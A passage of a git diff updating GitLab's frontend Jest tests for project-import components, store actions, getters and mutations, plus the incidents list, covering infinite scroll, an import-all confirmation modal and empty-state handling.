createComponent({ state: { repositories: [] } });
- expect(wrapper.contains(ProviderRepoTableRow)).toBe(false);
- expect(wrapper.contains(ImportedProjectTableRow)).toBe(false);
+ expect(wrapper.find(ProviderRepoTableRow).exists()).toBe(false);
expect(wrapper.text()).toContain(`No ${providerTitle} repositories found`);
});
- it('sends importAll event when import button is clicked', async () => {
- createComponent({ state: { providerRepos: [providerRepo] } });
+ it('opens confirmation modal when import all button is clicked', async () => {
+ createComponent({ state: { repositories: [providerRepo] } });
findImportAllButton().vm.$emit('click');
await nextTick();
+ expect(importAllModalShowFn).toHaveBeenCalled();
+ });
+
+ it('triggers importAll action when modal is confirmed', async () => {
+ createComponent({ state: { providerRepos: [providerRepo] } });
+
+ findImportAllModal().vm.$emit('ok');
+ await nextTick();
+
expect(importAllFn).toHaveBeenCalled();
});
@@ -189,21 +203,29 @@ describe('ImportProjectsTable', () => {
});
});
- it('passes current page to page-query-param-sync component', () => {
- expect(wrapper.find(PageQueryParamSync).props().page).toBe(pageInfo.page);
+ it('does not call fetchRepos on mount', () => {
+ expect(fetchReposFn).not.toHaveBeenCalled();
+ });
+
+ it('renders intersection observer component', () => {
+ expect(wrapper.find(GlIntersectionObserver).exists()).toBe(true);
});
- it('dispatches setPage when page-query-param-sync emits popstate', () => {
- const NEW_PAGE = 2;
- wrapper.find(PageQueryParamSync).vm.$emit('popstate', NEW_PAGE);
+ it('calls fetchRepos when intersection observer appears', async () => {
+ wrapper.find(GlIntersectionObserver).vm.$emit('appear');
- const { calls } = setPageFn.mock;
+ await nextTick();
- expect(calls).toHaveLength(1);
- expect(calls[0][1]).toBe(NEW_PAGE);
+ expect(fetchReposFn).toHaveBeenCalled();
});
});
+ it('calls fetchRepos on mount', () => {
+ createComponent();
+
+ expect(fetchReposFn).toHaveBeenCalled();
+ });
+
it.each`
hasIncompatibleRepos | shouldRenderSlot | action
${false} | ${false} | ${'does not render'}
diff --git a/spec/frontend/import_projects/components/imported_project_table_row_spec.js b/spec/frontend/import_projects/components/imported_project_table_row_spec.js
deleted file mode 100644
index 8890c352826..00000000000
--- a/spec/frontend/import_projects/components/imported_project_table_row_spec.js
+++ /dev/null
@@ -1,44 +0,0 @@
-import { mount } from '@vue/test-utils';
-import ImportedProjectTableRow from '~/import_projects/components/imported_project_table_row.vue';
-import ImportStatus from '~/import_projects/components/import_status.vue';
-import { STATUSES } from '~/import_projects/constants';
-
-describe('ImportedProjectTableRow', () => {
- let wrapper;
- const project = {
- importSource: {
- fullName: 'fullName',
- providerLink: 'providerLink',
- },
- importedProject: {
- id: 1,
- fullPath: 'fullPath',
- importSource: 'importSource',
- },
- importStatus: STATUSES.FINISHED,
- };
-
- function mountComponent() {
- wrapper = mount(ImportedProjectTableRow, { propsData: { project } });
- }
-
- beforeEach(() => {
- mountComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders an imported project table row', () => {
- const providerLink = wrapper.find('[data-testid=providerLink]');
-
- expect(providerLink.attributes().href).toMatch(project.importSource.providerLink);
- expect(providerLink.text()).toMatch(project.importSource.fullName);
- expect(wrapper.find('[data-testid=fullPath]').text()).toMatch(project.importedProject.fullPath);
- expect(wrapper.find(ImportStatus).props().status).toBe(project.importStatus);
- expect(wrapper.find('[data-testid=goToProject').attributes().href).toMatch(
- project.importedProject.fullPath,
- );
- });
-});
diff --git a/spec/frontend/import_projects/components/page_query_param_sync_spec.js b/spec/frontend/import_projects/components/page_query_param_sync_spec.js
deleted file mode 100644
index be19ecca1ba..00000000000
--- a/spec/frontend/import_projects/components/page_query_param_sync_spec.js
+++ /dev/null
@@ -1,87 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { nextTick } from 'vue';
-import { TEST_HOST } from 'helpers/test_constants';
-
-import PageQueryParamSync from '~/import_projects/components/page_query_param_sync.vue';
-
-describe('PageQueryParamSync', () => {
- let originalPushState;
- let originalAddEventListener;
- let originalRemoveEventListener;
-
- const pushStateMock = jest.fn();
- const addEventListenerMock = jest.fn();
- const removeEventListenerMock = jest.fn();
-
- beforeAll(() => {
- window.location.search = '';
- originalPushState = window.pushState;
-
- window.history.pushState = pushStateMock;
-
- originalAddEventListener = window.addEventListener;
- window.addEventListener = addEventListenerMock;
-
- originalRemoveEventListener = window.removeEventListener;
- window.removeEventListener = removeEventListenerMock;
- });
-
- afterAll(() => {
- window.history.pushState = originalPushState;
- window.addEventListener = originalAddEventListener;
- window.removeEventListener = originalRemoveEventListener;
- });
-
- let wrapper;
- beforeEach(() => {
- wrapper = shallowMount(PageQueryParamSync, {
- propsData: { page: 3 },
- });
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('calls push state with page number when page is updated and differs from 1', async () => {
- wrapper.setProps({ page: 2 });
-
- await nextTick();
-
- const { calls } = pushStateMock.mock;
- expect(calls).toHaveLength(1);
- expect(calls[0][2]).toBe(`${TEST_HOST}/?page=2`);
- });
-
- it('calls push state without page number when page is updated and is 1', async () => {
- wrapper.setProps({ page: 1 });
-
- await nextTick();
-
- const { calls } = pushStateMock.mock;
- expect(calls).toHaveLength(1);
- expect(calls[0][2]).toBe(`${TEST_HOST}/`);
- });
-
- it('subscribes to popstate event on create', () => {
- expect(addEventListenerMock).toHaveBeenCalledWith('popstate', expect.any(Function));
- });
-
- it('unsubscribes from popstate event when destroyed', () => {
- const [, fn] = addEventListenerMock.mock.calls[0];
-
- wrapper.destroy();
-
- expect(removeEventListenerMock).toHaveBeenCalledWith('popstate', fn);
- });
-
- it('emits popstate event when popstate is triggered', async () => {
- const [, fn] = addEventListenerMock.mock.calls[0];
-
- delete window.location;
- window.location = new URL(`${TEST_HOST}/?page=5`);
- fn();
-
- expect(wrapper.emitted().popstate[0]).toStrictEqual([5]);
- });
-});
diff --git a/spec/frontend/import_projects/components/provider_repo_table_row_spec.js b/spec/frontend/import_projects/components/provider_repo_table_row_spec.js
index bd9cd07db78..03e30ef610e 100644
--- a/spec/frontend/import_projects/components/provider_repo_table_row_spec.js
+++ b/spec/frontend/import_projects/components/provider_repo_table_row_spec.js
@@ -1,6 +1,7 @@
import { nextTick } from 'vue';
import Vuex from 'vuex';
import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { GlBadge } from '@gitlab/ui';
import ProviderRepoTableRow from '~/import_projects/components/provider_repo_table_row.vue';
import ImportStatus from '~/import_projects/components/import_status.vue';
import { STATUSES } from '~/import_projects/constants';
@@ -14,20 +15,6 @@ describe('ProviderRepoTableRow', () => {
targetNamespace: 'target',
newName: 'newName',
};
- const ciCdOnly = false;
- const repo = {
- importSource: {
- id: 'remote-1',
- fullName: 'fullName',
- providerLink: 'providerLink',
- },
- importedProject: {
- id: 1,
- fullPath: 'fullPath',
- importSource: 'importSource',
- },
- importStatus: STATUSES.FINISHED,
- };
const availableNamespaces = [
{ text: 'Groups', children: [{ id: 'test', text: 'test' }] },
@@ -46,55 +33,137 @@ describe('ProviderRepoTableRow', () => {
return store;
}
- const findImportButton = () =>
- wrapper
- .findAll('button')
- .filter(node => node.text() === 'Import')
- .at(0);
+ const findImportButton = () => {
+ const buttons = wrapper.findAll('button').filter(node => node.text() === 'Import');
+
+ return buttons.length ? buttons.at(0) : buttons;
+ };
- function mountComponent(initialState) {
+ function mountComponent(props) {
const localVue = createLocalVue();
localVue.use(Vuex);
- const store = initStore({ ciCdOnly, ...initialState });
+ const store = initStore();
wrapper = shallowMount(ProviderRepoTableRow, {
localVue,
store,
- propsData: { repo, availableNamespaces },
+ propsData: { availableNamespaces, ...props },
});
}
- beforeEach(() => {
- mountComponent();
- });
-
afterEach(() => {
wrapper.destroy();
+ wrapper = null;
});
- it('renders a provider repo table row', () => {
- const providerLink = wrapper.find('[data-testid=providerLink]');
+ describe('when rendering importable project', () => {
+ const repo = {
+ importSource: {
+ id: 'remote-1',
+ fullName: 'fullName',
+ providerLink: 'providerLink',
+ },
+ };
+
+ beforeEach(() => {
+ mountComponent({ repo });
+ });
+
+ it('renders project information', () => {
+ const providerLink = wrapper.find('[data-testid=providerLink]');
+
+ expect(providerLink.attributes().href).toMatch(repo.importSource.providerLink);
+ expect(providerLink.text()).toMatch(repo.importSource.fullName);
+ });
+
+ it('renders empty import status', () => {
+ expect(wrapper.find(ImportStatus).props().status).toBe(STATUSES.NONE);
+ });
+
+ it('renders a select2 namespace select', () => {
+ expect(wrapper.find(Select2Select).exists()).toBe(true);
+ expect(wrapper.find(Select2Select).props().options.data).toBe(availableNamespaces);
+ });
+
+ it('renders import button', () => {
+ expect(findImportButton().exists()).toBe(true);
+ });
+
+ it('imports repo when clicking import button', async () => {
+ findImportButton().trigger('click');
+
+ await nextTick();
+
+ const { calls } = fetchImport.mock;
- expect(providerLink.attributes().href).toMatch(repo.importSource.providerLink);
- expect(providerLink.text()).toMatch(repo.importSource.fullName);
- expect(wrapper.find(ImportStatus).props().status).toBe(repo.importStatus);
- expect(wrapper.contains('button')).toBe(true);
+ expect(calls).toHaveLength(1);
+ expect(calls[0][1]).toBe(repo.importSource.id);
+ });
});
- it('renders a select2 namespace select', () => {
- expect(wrapper.contains(Select2Select)).toBe(true);
- expect(wrapper.find(Select2Select).props().options.data).toBe(availableNamespaces);
+ describe('when rendering imported project', () => {
+ const repo = {
+ importSource: {
+ id: 'remote-1',
+ fullName: 'fullName',
+ providerLink: 'providerLink',
+ },
+ importedProject: {
+ id: 1,
+ fullPath: 'fullPath',
+ importSource: 'importSource',
+ importStatus: STATUSES.FINISHED,
+ },
+ };
+
+ beforeEach(() => {
+ mountComponent({ repo });
+ });
+
+ it('renders project information', () => {
+ const providerLink = wrapper.find('[data-testid=providerLink]');
+
+ expect(providerLink.attributes().href).toMatch(repo.importSource.providerLink);
+ expect(providerLink.text()).toMatch(repo.importSource.fullName);
+ });
+
+ it('renders proper import status', () => {
+ expect(wrapper.find(ImportStatus).props().status).toBe(repo.importedProject.importStatus);
+ });
+
+ it('does not renders a namespace select', () => {
+ expect(wrapper.find(Select2Select).exists()).toBe(false);
+ });
+
+ it('does not render import button', () => {
+ expect(findImportButton().exists()).toBe(false);
+ });
});
- it('imports repo when clicking import button', async () => {
- findImportButton().trigger('click');
+ describe('when rendering incompatible project', () => {
+ const repo = {
+ importSource: {
+ id: 'remote-1',
+ fullName: 'fullName',
+ providerLink: 'providerLink',
+ incompatible: true,
+ },
+ };
- await nextTick();
+ beforeEach(() => {
+ mountComponent({ repo });
+ });
+
+ it('renders project information', () => {
+ const providerLink = wrapper.find('[data-testid=providerLink]');
- const { calls } = fetchImport.mock;
+ expect(providerLink.attributes().href).toMatch(repo.importSource.providerLink);
+ expect(providerLink.text()).toMatch(repo.importSource.fullName);
+ });
- expect(calls).toHaveLength(1);
- expect(calls[0][1]).toBe(repo.importSource.id);
+ it('renders badge with error', () => {
+ expect(wrapper.find(GlBadge).text()).toBe('Incompatible project');
+ });
});
});
diff --git a/spec/frontend/import_projects/store/actions_spec.js b/spec/frontend/import_projects/store/actions_spec.js
index 45a59b3f6d6..6951f2bf04d 100644
--- a/spec/frontend/import_projects/store/actions_spec.js
+++ b/spec/frontend/import_projects/store/actions_spec.js
@@ -83,7 +83,7 @@ describe('import_projects store actions', () => {
afterEach(() => mock.restore());
- it('dispatches stopJobsPolling actions and commits REQUEST_REPOS, RECEIVE_REPOS_SUCCESS mutations on a successful request', () => {
+ it('commits SET_PAGE, REQUEST_REPOS, RECEIVE_REPOS_SUCCESS mutations on a successful request', () => {
mock.onGet(MOCK_ENDPOINT).reply(200, payload);
return testAction(
@@ -91,54 +91,65 @@ describe('import_projects store actions', () => {
null,
localState,
[
+ { type: SET_PAGE, payload: 1 },
{ type: REQUEST_REPOS },
{
type: RECEIVE_REPOS_SUCCESS,
payload: convertObjectPropsToCamelCase(payload, { deep: true }),
},
],
- [{ type: 'stopJobsPolling' }, { type: 'fetchJobs' }],
+ [],
);
});
- it('dispatches stopJobsPolling action and commits REQUEST_REPOS, RECEIVE_REPOS_ERROR mutations on an unsuccessful request', () => {
+ it('commits SET_PAGE, REQUEST_REPOS, RECEIVE_REPOS_ERROR and SET_PAGE again mutations on an unsuccessful request', () => {
mock.onGet(MOCK_ENDPOINT).reply(500);
return testAction(
fetchRepos,
null,
localState,
- [{ type: REQUEST_REPOS }, { type: RECEIVE_REPOS_ERROR }],
- [{ type: 'stopJobsPolling' }],
+ [
+ { type: SET_PAGE, payload: 1 },
+ { type: REQUEST_REPOS },
+ { type: SET_PAGE, payload: 0 },
+ { type: RECEIVE_REPOS_ERROR },
+ ],
+ [],
);
});
- describe('when pagination is enabled', () => {
- it('includes page in url query params', async () => {
- const { fetchRepos: fetchReposWithPagination } = actionsFactory({
- endpoints,
- hasPagination: true,
- });
+ it('includes page in url query params', async () => {
+ let requestedUrl;
+ mock.onGet().reply(config => {
+ requestedUrl = config.url;
+ return [200, payload];
+ });
- let requestedUrl;
- mock.onGet().reply(config => {
- requestedUrl = config.url;
- return [200, payload];
- });
+ const localStateWithPage = { ...localState, pageInfo: { page: 2 } };
- await testAction(
- fetchReposWithPagination,
- null,
- localState,
- expect.any(Array),
- expect.any(Array),
- );
+ await testAction(fetchRepos, null, localStateWithPage, expect.any(Array), expect.any(Array));
- expect(requestedUrl).toBe(`${MOCK_ENDPOINT}?page=${localState.pageInfo.page}`);
- });
+ expect(requestedUrl).toBe(`${MOCK_ENDPOINT}?page=${localStateWithPage.pageInfo.page + 1}`);
});
- describe('when filtered', () => {
+ it('correctly updates current page on an unsuccessful request', () => {
+ mock.onGet(MOCK_ENDPOINT).reply(500);
+ const CURRENT_PAGE = 5;
+
+ return testAction(
+ fetchRepos,
+ null,
+ { ...localState, pageInfo: { page: CURRENT_PAGE } },
+ expect.arrayContaining([
+ { type: SET_PAGE, payload: CURRENT_PAGE + 1 },
+ { type: SET_PAGE, payload: CURRENT_PAGE },
+ ]),
+ [],
+ );
+ });
+
+ describe('when /home/xanf/projects/gdk/gitlab/spec/frontend/import_projects/store/actions_spec.jsfiltered', () => {
it('fetches repos with filter applied', () => {
mock.onGet(`${TEST_HOST}/endpoint.json?filter=filter`).reply(200, payload);
@@ -147,13 +158,14 @@ describe('import_projects store actions', () => {
null,
{ ...localState, filter: 'filter' },
[
+ { type: SET_PAGE, payload: 1 },
{ type: REQUEST_REPOS },
{
type: RECEIVE_REPOS_SUCCESS,
payload: convertObjectPropsToCamelCase(payload, { deep: true }),
},
],
- [{ type: 'stopJobsPolling' }, { type: 'fetchJobs' }],
+ [],
);
});
});
diff --git a/spec/frontend/import_projects/store/getters_spec.js b/spec/frontend/import_projects/store/getters_spec.js
index 5c1ea25a684..1ce42e534ea 100644
--- a/spec/frontend/import_projects/store/getters_spec.js
+++ b/spec/frontend/import_projects/store/getters_spec.js
@@ -3,6 +3,7 @@ import {
isImportingAnyRepo,
hasIncompatibleRepos,
hasImportableRepos,
+ importAllCount,
getImportTarget,
} from '~/import_projects/store/getters';
import { STATUSES } from '~/import_projects/constants';
@@ -10,13 +11,12 @@ import state from '~/import_projects/store/state';
const IMPORTED_REPO = {
importSource: {},
- importedProject: { fullPath: 'some/path' },
+ importedProject: { fullPath: 'some/path', importStatus: STATUSES.FINISHED },
};
const IMPORTABLE_REPO = {
importSource: { id: 'some-id', sanitizedName: 'sanitized' },
importedProject: null,
- importStatus: STATUSES.NONE,
};
const INCOMPATIBLE_REPO = {
@@ -56,14 +56,20 @@ describe('import_projects store getters', () => {
${STATUSES.STARTED} | ${true}
${STATUSES.FINISHED} | ${false}
`(
- 'isImportingAnyRepo returns $value when repo with $importStatus status is available',
+ 'isImportingAnyRepo returns $value when project with $importStatus status is available',
({ importStatus, value }) => {
- localState.repositories = [{ importStatus }];
+ localState.repositories = [{ importedProject: { importStatus } }];
expect(isImportingAnyRepo(localState)).toBe(value);
},
);
+ it('isImportingAnyRepo returns false when project with no defined importStatus status is available', () => {
+ localState.repositories = [{ importSource: {} }];
+
+ expect(isImportingAnyRepo(localState)).toBe(false);
+ });
+
describe('hasIncompatibleRepos', () => {
it('returns true if there are any incompatible projects', () => {
localState.repositories = [IMPORTABLE_REPO, IMPORTED_REPO, INCOMPATIBLE_REPO];
@@ -92,6 +98,19 @@ describe('import_projects store getters', () => {
});
});
+ describe('importAllCount', () => {
+ it('returns count of available importable projects ', () => {
+ localState.repositories = [
+ IMPORTABLE_REPO,
+ IMPORTABLE_REPO,
+ IMPORTED_REPO,
+ INCOMPATIBLE_REPO,
+ ];
+
+ expect(importAllCount(localState)).toBe(2);
+ });
+ });
+
describe('getImportTarget', () => {
it('returns default value if no custom target available', () => {
localState.defaultTargetNamespace = 'default';
diff --git a/spec/frontend/import_projects/store/mutations_spec.js b/spec/frontend/import_projects/store/mutations_spec.js
index 3672ec9f2c0..5d78a7fa9e7 100644
--- a/spec/frontend/import_projects/store/mutations_spec.js
+++ b/spec/frontend/import_projects/store/mutations_spec.js
@@ -1,9 +1,11 @@
import * as types from '~/import_projects/store/mutation_types';
import mutations from '~/import_projects/store/mutations';
+import getInitialState from '~/import_projects/store/state';
import { STATUSES } from '~/import_projects/constants';
describe('import_projects store mutations', () => {
let state;
+
const SOURCE_PROJECT = {
id: 1,
full_name: 'full/name',
@@ -19,13 +21,23 @@ describe('import_projects store mutations', () => {
};
describe(`${types.SET_FILTER}`, () => {
- it('overwrites current filter value', () => {
- state = { filter: 'some-value' };
- const NEW_VALUE = 'new-value';
+ const NEW_VALUE = 'new-value';
+ beforeEach(() => {
+ state = {
+ filter: 'some-value',
+ repositories: ['some', ' repositories'],
+ pageInfo: { page: 1 },
+ };
mutations[types.SET_FILTER](state, NEW_VALUE);
+ });
- expect(state.filter).toBe(NEW_VALUE);
+ it('removes current repositories list', () => {
+ expect(state.repositories.length).toBe(0);
+ });
+
+ it('resets current page to 0', () => {
+ expect(state.pageInfo.page).toBe(0);
});
});
@@ -40,93 +52,104 @@ describe('import_projects store mutations', () => {
});
describe(`${types.RECEIVE_REPOS_SUCCESS}`, () => {
- describe('for imported projects', () => {
- const response = {
- importedProjects: [IMPORTED_PROJECT],
- providerRepos: [],
- };
+ describe('with legacy response format', () => {
+ describe('for imported projects', () => {
+ const response = {
+ importedProjects: [IMPORTED_PROJECT],
+ providerRepos: [],
+ };
- it('picks import status from response', () => {
- state = {};
+ it('recreates importSource from response', () => {
+ state = getInitialState();
- mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
+ mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
- expect(state.repositories[0].importStatus).toBe(IMPORTED_PROJECT.importStatus);
- });
+ expect(state.repositories[0].importSource).toStrictEqual(
+ expect.objectContaining({
+ fullName: IMPORTED_PROJECT.importSource,
+ sanitizedName: IMPORTED_PROJECT.name,
+ providerLink: IMPORTED_PROJECT.providerLink,
+ }),
+ );
+ });
- it('recreates importSource from response', () => {
- state = {};
+ it('passes project to importProject', () => {
+ state = getInitialState();
- mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
+ mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
- expect(state.repositories[0].importSource).toStrictEqual(
- expect.objectContaining({
- fullName: IMPORTED_PROJECT.importSource,
- sanitizedName: IMPORTED_PROJECT.name,
- providerLink: IMPORTED_PROJECT.providerLink,
- }),
- );
+ expect(IMPORTED_PROJECT).toStrictEqual(
+ expect.objectContaining(state.repositories[0].importedProject),
+ );
+ });
});
- it('passes project to importProject', () => {
- state = {};
+ describe('for importable projects', () => {
+ beforeEach(() => {
+ state = getInitialState();
- mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
+ const response = {
+ importedProjects: [],
+ providerRepos: [SOURCE_PROJECT],
+ };
+ mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
+ });
- expect(IMPORTED_PROJECT).toStrictEqual(
- expect.objectContaining(state.repositories[0].importedProject),
- );
+ it('sets importSource to project', () => {
+ expect(state.repositories[0].importSource).toBe(SOURCE_PROJECT);
+ });
});
- });
- describe('for importable projects', () => {
- beforeEach(() => {
- state = {};
+ describe('for incompatible projects', () => {
const response = {
importedProjects: [],
- providerRepos: [SOURCE_PROJECT],
+ providerRepos: [],
+ incompatibleRepos: [SOURCE_PROJECT],
};
- mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
- });
- it('sets import status to none', () => {
- expect(state.repositories[0].importStatus).toBe(STATUSES.NONE);
- });
+ beforeEach(() => {
+ state = getInitialState();
+ mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
+ });
+
+ it('sets incompatible flag', () => {
+ expect(state.repositories[0].importSource.incompatible).toBe(true);
+ });
- it('sets importSource to project', () => {
- expect(state.repositories[0].importSource).toBe(SOURCE_PROJECT);
+ it('sets importSource to project', () => {
+ expect(state.repositories[0].importSource).toStrictEqual(
+ expect.objectContaining(SOURCE_PROJECT),
+ );
+ });
});
- });
- describe('for incompatible projects', () => {
- const response = {
- importedProjects: [],
- providerRepos: [],
- incompatibleRepos: [SOURCE_PROJECT],
- };
+ it('sets repos loading flag to false', () => {
+ const response = {
+ importedProjects: [],
+ providerRepos: [],
+ };
+
+ state = getInitialState();
- beforeEach(() => {
- state = {};
mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
- });
- it('sets incompatible flag', () => {
- expect(state.repositories[0].importSource.incompatible).toBe(true);
+ expect(state.isLoadingRepos).toBe(false);
});
+ });
- it('sets importSource to project', () => {
- expect(state.repositories[0].importSource).toStrictEqual(
- expect.objectContaining(SOURCE_PROJECT),
- );
- });
+ it('passes response as it is', () => {
+ const response = [];
+ state = getInitialState();
+
+ mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
+
+ expect(state.repositories).toStrictEqual(response);
});
it('sets repos loading flag to false', () => {
- const response = {
- importedProjects: [],
- providerRepos: [],
- };
- state = {};
+ const response = [];
+
+ state = getInitialState();
mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
@@ -136,7 +159,7 @@ describe('import_projects store mutations', () => {
describe(`${types.RECEIVE_REPOS_ERROR}`, () => {
it('sets repos loading flag to false', () => {
- state = {};
+ state = getInitialState();
mutations[types.RECEIVE_REPOS_ERROR](state);
@@ -154,7 +177,7 @@ describe('import_projects store mutations', () => {
});
it(`sets status to ${STATUSES.SCHEDULING}`, () => {
- expect(state.repositories[0].importStatus).toBe(STATUSES.SCHEDULING);
+ expect(state.repositories[0].importedProject.importStatus).toBe(STATUSES.SCHEDULING);
});
});
@@ -170,7 +193,9 @@ describe('import_projects store mutations', () => {
});
it('sets import status', () => {
- expect(state.repositories[0].importStatus).toBe(IMPORTED_PROJECT.importStatus);
+ expect(state.repositories[0].importedProject.importStatus).toBe(
+ IMPORTED_PROJECT.importStatus,
+ );
});
it('sets imported project', () => {
@@ -188,8 +213,8 @@ describe('import_projects store mutations', () => {
mutations[types.RECEIVE_IMPORT_ERROR](state, REPO_ID);
});
- it(`resets import status to ${STATUSES.NONE}`, () => {
- expect(state.repositories[0].importStatus).toBe(STATUSES.NONE);
+ it(`removes importedProject entry`, () => {
+ expect(state.repositories[0].importedProject).toBeNull();
});
});
@@ -203,7 +228,9 @@ describe('import_projects store mutations', () => {
mutations[types.RECEIVE_JOBS_SUCCESS](state, updatedProjects);
- expect(state.repositories[0].importStatus).toBe(updatedProjects[0].importStatus);
+ expect(state.repositories[0].importedProject.importStatus).toBe(
+ updatedProjects[0].importStatus,
+ );
});
});
@@ -280,17 +307,6 @@ describe('import_projects store mutations', () => {
});
});
- describe(`${types.SET_PAGE_INFO}`, () => {
- it('sets passed page info', () => {
- state = {};
- const pageInfo = { page: 1, total: 10 };
-
- mutations[types.SET_PAGE_INFO](state, pageInfo);
-
- expect(state.pageInfo).toBe(pageInfo);
- });
- });
-
describe(`${types.SET_PAGE}`, () => {
it('sets page number', () => {
const NEW_PAGE = 4;
diff --git a/spec/frontend/import_projects/utils_spec.js b/spec/frontend/import_projects/utils_spec.js
index 826b06d5a70..4e1e16a3184 100644
--- a/spec/frontend/import_projects/utils_spec.js
+++ b/spec/frontend/import_projects/utils_spec.js
@@ -1,7 +1,16 @@
-import { isProjectImportable } from '~/import_projects/utils';
+import { isProjectImportable, isIncompatible, getImportStatus } from '~/import_projects/utils';
import { STATUSES } from '~/import_projects/constants';
describe('import_projects utils', () => {
+ const COMPATIBLE_PROJECT = {
+ importSource: { incompatible: false },
+ };
+
+ const INCOMPATIBLE_PROJECT = {
+ importSource: { incompatible: true },
+ importedProject: null,
+ };
+
describe('isProjectImportable', () => {
it.each`
status | result
@@ -14,19 +23,43 @@ describe('import_projects utils', () => {
`('returns $result when project is compatible and status is $status', ({ status, result }) => {
expect(
isProjectImportable({
- importStatus: status,
- importSource: { incompatible: false },
+ ...COMPATIBLE_PROJECT,
+ importedProject: { importStatus: status },
}),
).toBe(result);
});
+ it('returns true if import status is not defined', () => {
+ expect(isProjectImportable({ importSource: {} })).toBe(true);
+ });
+
it('returns false if project is not compatible', () => {
+ expect(isProjectImportable(INCOMPATIBLE_PROJECT)).toBe(false);
+ });
+ });
+
+ describe('isIncompatible', () => {
+ it('returns true for incompatible project', () => {
+ expect(isIncompatible(INCOMPATIBLE_PROJECT)).toBe(true);
+ });
+
+ it('returns false for compatible project', () => {
+ expect(isIncompatible(COMPATIBLE_PROJECT)).toBe(false);
+ });
+ });
+
+ describe('getImportStatus', () => {
+ it('returns actual status when project status is provided', () => {
expect(
- isProjectImportable({
- importStatus: STATUSES.NONE,
- importSource: { incompatible: true },
+ getImportStatus({
+ ...COMPATIBLE_PROJECT,
+ importedProject: { importStatus: STATUSES.FINISHED },
}),
- ).toBe(false);
+ ).toBe(STATUSES.FINISHED);
+ });
+
+ it('returns NONE as status if import status is not provided', () => {
+ expect(getImportStatus(COMPATIBLE_PROJECT)).toBe(STATUSES.NONE);
});
});
});
diff --git a/spec/frontend/incidents/components/incidents_list_spec.js b/spec/frontend/incidents/components/incidents_list_spec.js
index 33ddd06d6d9..307806e0a8a 100644
--- a/spec/frontend/incidents/components/incidents_list_spec.js
+++ b/spec/frontend/incidents/components/incidents_list_spec.js
@@ -13,6 +13,7 @@ import {
} from '@gitlab/ui';
import { visitUrl, joinPaths, mergeUrlParams } from '~/lib/utils/url_utility';
import IncidentsList from '~/incidents/components/incidents_list.vue';
+import SeverityToken from '~/sidebar/components/severity/severity.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import { I18N, INCIDENT_STATUS_TABS } from '~/incidents/constants';
import mockIncidents from '../mocks/incidents.json';
@@ -30,9 +31,9 @@ describe('Incidents List', () => {
const incidentTemplateName = 'incident';
const incidentType = 'incident';
const incidentsCount = {
- opened: 14,
- closed: 1,
- all: 16,
+ opened: 24,
+ closed: 10,
+ all: 26,
};
const findTable = () => wrapper.find(GlTable);
@@ -51,6 +52,7 @@ describe('Incidents List', () => {
const findStatusFilterBadge = () => wrapper.findAll(GlBadge);
const findStatusTabs = () => wrapper.find(GlTabs);
const findEmptyState = () => wrapper.find(GlEmptyState);
+ const findSeverity = () => wrapper.findAll(SeverityToken);
function mountComponent({ data = { incidents: [], incidentsCount: {} }, loading = false }) {
wrapper = mount(IncidentsList, {
@@ -78,6 +80,7 @@ describe('Incidents List', () => {
stubs: {
GlButton: true,
GlAvatar: true,
+ GlEmptyState: true,
},
});
}
@@ -96,12 +99,30 @@ describe('Incidents List', () => {
expect(findLoader().exists()).toBe(true);
});
- it('shows empty state', () => {
- mountComponent({
- data: { incidents: { list: [] }, incidentsCount: {} },
- loading: false,
- });
- expect(findEmptyState().exists()).toBe(true);
+ describe('empty state', () => {
+ const {
+ emptyState: { title, emptyClosedTabTitle, description },
+ } = I18N;
+
+ it.each`
+ statusFilter | all | closed | expectedTitle | expectedDescription
+ ${'all'} | ${2} | ${1} | ${title} | ${description}
+ ${'open'} | ${2} | ${0} | ${title} | ${description}
+ ${'closed'} | ${0} | ${0} | ${title} | ${description}
+ ${'closed'} | ${2} | ${0} | ${emptyClosedTabTitle} | ${undefined}
+ `(
+ `when active tab is $statusFilter and there are $all incidents in total and $closed closed incidents, the empty state
+ has title: $expectedTitle and description: $expectedDescription`,
+ ({ statusFilter, all, closed, expectedTitle, expectedDescription }) => {
+ mountComponent({
+ data: { incidents: { list: [] }, incidentsCount: { all, closed }, statusFilter },
+ loading: false,
+ });
+ expect(findEmptyState().exists()).toBe(true);
+ expect(findEmptyState().attributes('title')).toBe(expectedTitle);
+ expect(findEmptyState().attributes('description')).toBe(expectedDescription);
+ },
+ );
});
it('shows error state', () => {
@@ -163,6 +184,10 @@ describe('Incidents List', () => {
);
});
});
+
+ it('renders severity per row', () => {
+ expect(findSeverity().length).toBe(mockIncidents.length);
+ });
});
describe('Create Incident', () => {
@@ -188,6 +213,14 @@ describe('Incidents List', () => {
expect(findCreateIncidentBtn().attributes('loading')).toBe('true');
});
});
+
+ it("doesn't show the button when list is empty", () => {
+ mountComponent({
+ data: { incidents: { list: [] }, incidentsCount: {} },
+ loading: false,
+ });
+ expect(findCreateIncidentBtn().exists()).toBe(false);
+ });
});
describe('Pagination', () => {
@@ -313,7 +346,7 @@ describe('Incidents List', () => {
describe('Status Filter Tabs', () => {
beforeEach(() => {
mountComponent({
- data: { incidents: mockIncidents, incidentsCount },
+ data: { incidents: { list: mockIncidents }, incidentsCount },
loading: false,
stubs: {
GlTab: true,
@@ -345,7 +378,7 @@ describe('Incidents List', () => {
describe('sorting the incident list by column', () => {
beforeEach(() => {
mountComponent({
- data: { incidents: mockIncidents, incidentsCount },
+ data: { incidents: { list: mockIncidents }, incidentsCount },
loading: false,
});
});
diff --git a/spec/frontend/incidents/mocks/incidents.json b/spec/frontend/incidents/mocks/incidents.json
index 4eab709e53f..42b3d6d3eb6 100644
--- a/spec/frontend/incidents/mocks/incidents.json
+++ b/spec/frontend/incidents/mocks/incidents.json
@@ -4,7 +4,8 @@
